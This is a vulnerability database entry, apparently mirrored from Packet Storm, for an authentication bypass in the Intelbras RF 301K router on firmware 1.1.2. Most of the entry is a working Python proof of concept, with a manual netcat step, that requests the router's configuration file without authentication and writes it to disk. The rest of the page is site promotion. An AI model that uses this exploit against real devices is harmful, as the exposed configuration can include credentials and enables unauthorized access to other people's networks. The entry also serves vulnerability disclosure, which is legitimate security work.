Lucene search
K

Intelbras Router RF 301K 1.1.2 Authentication Bypass

🗓️ 30 Nov 2020 00:00:00Reported by Kaio AmaralType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 642 Views

Intelbras Router RF 301K 1.1.2 Authentication Bypass vulnerabilit

Code
`# Exploit Title: Intelbras Router RF 301K 1.1.2 - Authentication Bypass  
# Date: 27/11/2020  
# Exploit Author: Kaio Amaral  
# Vendor Homepage: https://www.intelbras.com/pt-br/  
# Software Link: http://backend.intelbras.com/sites/default/files/2020-10/RF301K_v1.1.2.zip  
# Version: firmware version 1.1.2  
# Tested on: kali, android  
  
# POC  
  
# 1. nc host port, ex: nc 10.0.0.1 80  
# 2. GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.0  
  
# Python3  
  
import socket  
from time import sleep  
  
def exploit(host, port=80):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
pay = "GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.0\n\n".encode()  
s.connect((host, port))  
s.send(pay)  
sleep(0.2)  
data = s.recv(17576)  
if len(data) > 1000:  
print("[+] Success.")  
return data.decode()  
print("[-] Failed. ")  
exit()  
  
def file(data):  
with open("router.cfg", "w") as file:  
file.write(data[233:])  
print("[+] File Successfully Written.")  
  
file(exploit("10.0.0.1"))  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation